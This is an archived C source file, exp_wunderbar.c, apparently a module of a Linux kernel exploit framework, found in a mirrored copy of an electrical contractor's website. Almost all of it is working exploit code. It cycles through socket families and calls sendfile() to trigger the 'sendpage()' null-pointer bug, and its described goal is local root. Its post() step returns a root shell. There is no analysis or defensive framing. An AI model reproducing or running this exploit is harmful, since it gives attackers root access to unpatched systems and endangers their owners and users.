home *** CD-ROM | disk | FTP | other *** search
/ comtecelectrical.ca / www.comtecelectrical.ca.tar / www.comtecelectrical.ca / enlightenment / exp_wunderbar.c < prev    next >
C/C++ Source or Header  |  2009-09-20  |  2KB  |  89 lines

  1. /* wunderbar */
  2. #include <stdio.h>
  3. #include <unistd.h>
  4. #include <stdlib.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <sys/sendfile.h>
  8. #include "exp_framework.h"
  9.  
  10. struct exploit_state *exp_state;
  11.  
  12. #define DOMAINS_STOP -1
  13. #define VIDEO_SIZE 4171600
  14. #ifndef IPPROTO_SCTP
  15. #define IPPROTO_SCTP 132
  16. #endif
  17. #ifndef PX_PROTO_OL2TP
  18. #define PX_PROTO_OL2TP 1
  19. #endif
  20. #ifndef PF_IUCV
  21. #define PF_IUCV 32
  22. #endif
  23.  
  24. const int domains[][3] = { { PF_APPLETALK, SOCK_DGRAM, 0 },
  25.     {PF_IPX, SOCK_DGRAM, 0 }, { PF_IRDA, SOCK_DGRAM, 0 },
  26.     {PF_X25, SOCK_DGRAM, 0 }, { PF_AX25, SOCK_DGRAM, 0 },
  27.     {PF_BLUETOOTH, SOCK_DGRAM, 0 }, { PF_IUCV, SOCK_STREAM, 0 },
  28.     {PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP },
  29.     {PF_PPPOX, SOCK_DGRAM, 0 },
  30.     {PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP },
  31.     {DOMAINS_STOP, 0, 0 }
  32.     };
  33.  
  34. char *desc = "Wunderbar Emporium: Linux 2.X sendpage() local root";
  35.  
  36. int prepare(unsigned char *buf)
  37. {
  38.     return STRAIGHT_UP_EXECUTION_AT_NULL;
  39. }
  40.  
  41. int requires_null_page = 1;
  42.  
  43. int get_exploit_state_ptr(struct exploit_state *ptr)
  44. {
  45.     exp_state = ptr;
  46.     return 0;
  47. }
  48.  
  49. int trigger(void)
  50. {
  51.     while (exp_state->got_ring0 == 0) {
  52.                 char template[] = "/tmp/sendfile.XXXXXX";
  53.                 int d;
  54.                 int in, out;
  55.  
  56.                 // Setup source descriptor
  57.                 if ((in = mkstemp(template)) < 0) {
  58.                         fprintf(stdout, "failed to open input descriptor, %m\n");
  59.                         return 0;
  60.                 }
  61.  
  62.                 unlink(template);
  63.  
  64.                 // Find a vulnerable domain
  65.                 for (d = 0; domains[d][0] != DOMAINS_STOP; d++) {
  66.                         if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0)
  67.                                 break;
  68.                 }
  69.  
  70.                 if (out < 0) {
  71.                         fprintf(stdout, "unable to find a vulnerable domain, sorry\n");
  72.                         return 0;
  73.                 }
  74.  
  75.                 // Truncate input file to some large value
  76.                 ftruncate(in, getpagesize());
  77.  
  78.                 // sendfile() to trigger the bug.
  79.                 sendfile(out, in, NULL, getpagesize());
  80.         }
  81.  
  82.     return 1;
  83. }
  84.  
  85. int post(void)
  86. {
  87.     return RUN_ROOTSHELL;
  88. }
  89.